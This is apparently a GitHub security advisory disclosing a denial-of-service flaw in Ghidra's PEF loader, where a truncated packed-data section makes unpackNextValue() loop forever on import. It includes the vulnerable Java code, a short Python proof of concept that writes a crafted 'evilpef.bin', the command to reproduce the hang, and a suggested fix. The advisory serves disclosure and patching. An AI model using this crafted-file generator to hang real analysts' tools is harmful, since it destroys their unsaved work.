Skip to content

Infinite loop (uncontrolled resource consumption) in PEF loader — crafted PEF hangs Ghidra on import

Moderate
nsadeveloper789 published GHSA-2697-fm9m-mqvw Aug 19, 2026

Package

ghidra (ghidra)

Affected versions

< 12.1.3

Patched versions

12.1.3

Description

Summary

The Preferred Executable Format (PEF) loader enters an infinite loop when importing a crafted PEF file whose packed-data section ends while a packed-data length value is still being read. SectionHeader.unpackNextValue() reads a base-128 continuation value but treats end-of-stream (InputStream.read() returning -1) as a continuation byte, so the loop never terminates. Importing such a file pins Ghidra at 100% CPU indefinitely; the user must kill the process, losing any unsaved work. No user privileges are required beyond opening/importing the file, which is the routine action an analyst performs on untrusted binaries.

Details

In Ghidra/Features/Base/src/main/java/ghidra/app/util/bin/format/pef/SectionHeader.java, unpackNextValue() (lines 221-232):

private int unpackNextValue(InputStream input) throws IOException {
    int unpacked = 0;
    while (true) {
        unpacked <<= 7;
        int value = input.read();          // returns -1 at end of stream
        unpacked += (value & 0x7f);        // (-1 & 0x7f) == 0x7f
        if ((value & 0x80) == 0x00) {      // (-1 & 0x80) == 0x80 -> never true
            break;
        }
    }
    return unpacked;
}

At end of stream input.read() returns -1 on every call; (-1 & 0x80) is 0x80, so the break is never taken and the loop spins forever.

Reachability (normal import path, no analysis required):

  • PefLoader.load() -> processSections() (PefLoader.java:429) iterates the sections and, for every section whose kind is PackedData, calls section.getUnpackedData(monitor).
  • SectionHeader.getUnpackedData() (line 117+) reads the first opcode byte value; when value & 0x1f == 0 it calls unpackNextValue(input) to read the count (line 134).
  • If the packed stream is exhausted at that point, unpackNextValue loops forever.

A single packed byte 0x00 (an opcode with a zero low-5-bit count) followed by end-of-stream is sufficient: the main loop reads the 0x00, sees count 0, calls unpackNextValue, and hangs.

Steps to Reproduce

Build a 153-byte PEF (Joy!/peff/pwpc container, one empty Loader section so loader initialization succeeds, one PackedData section whose data is a single 0x00 byte at end-of-stream):

import struct
def sechdr(kind, tot, unp, clen, coff):
    return (struct.pack(">i",-1)+struct.pack(">i",0)+struct.pack(">i",tot)
            +struct.pack(">i",unp)+struct.pack(">i",clen)
            +struct.pack(">i",coff)+bytes([kind,0,0,0]))
ch  = b"Joy!"+b"peff"+b"pwpc"+struct.pack(">iiiii",0,0,0,0,0)+struct.pack(">hh",2,2)+struct.pack(">i",0)
sh_loader = sechdr(4, 56, 56, 56, 96)     # Loader section -> 56-byte zero block @96
sh_packed = sechdr(2, 16, 16, 1, 152)     # PackedData section -> byte @152
open("evilpef.bin","wb").write(ch+sh_loader+sh_packed+b"\x00"*56+bytes([0x00]))

Import it (the hang reproduces on GUI import as well):

./support/analyzeHeadless /tmp/proj p1 -import evilpef.bin -noanalysis

Observed on Ghidra 12.1.2 PUBLIC: the JVM sits at ~130% CPU and the import never returns (a headless run had to be killed by a 25-second timeout). The log shows Using Loader: Preferred Executable Format (PEF) immediately before the hang.

Impact

Denial of service (CWE-835 / CWE-400). An analyst who imports or opens a crafted PEF file — a routine action on untrusted samples — causes Ghidra to hang at 100% CPU with no progress and no way to cancel cleanly, requiring the process to be killed and losing unsaved analysis. This is the same class as previously fixed Ghidra loader DoS issues (ELF GNU hash table infinite loop, Mach-O export trie circular reference).

Suggested fix

In unpackNextValue, treat read() == -1 as end-of-stream: break out (or throw the same IllegalStateException the caller already throws for truncated input) instead of folding -1 into the accumulated value. For example, bail when value < 0.

Note on tooling

Claude Opus (Anthropic's coding assistant) was used to help audit the source, craft the
proof-of-concept files, and run the tests. All findings were verified at runtime against the
Ghidra 12.1.2 PUBLIC release before reporting.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Validation of Array Index

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. Learn more on MITRE.

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

Credits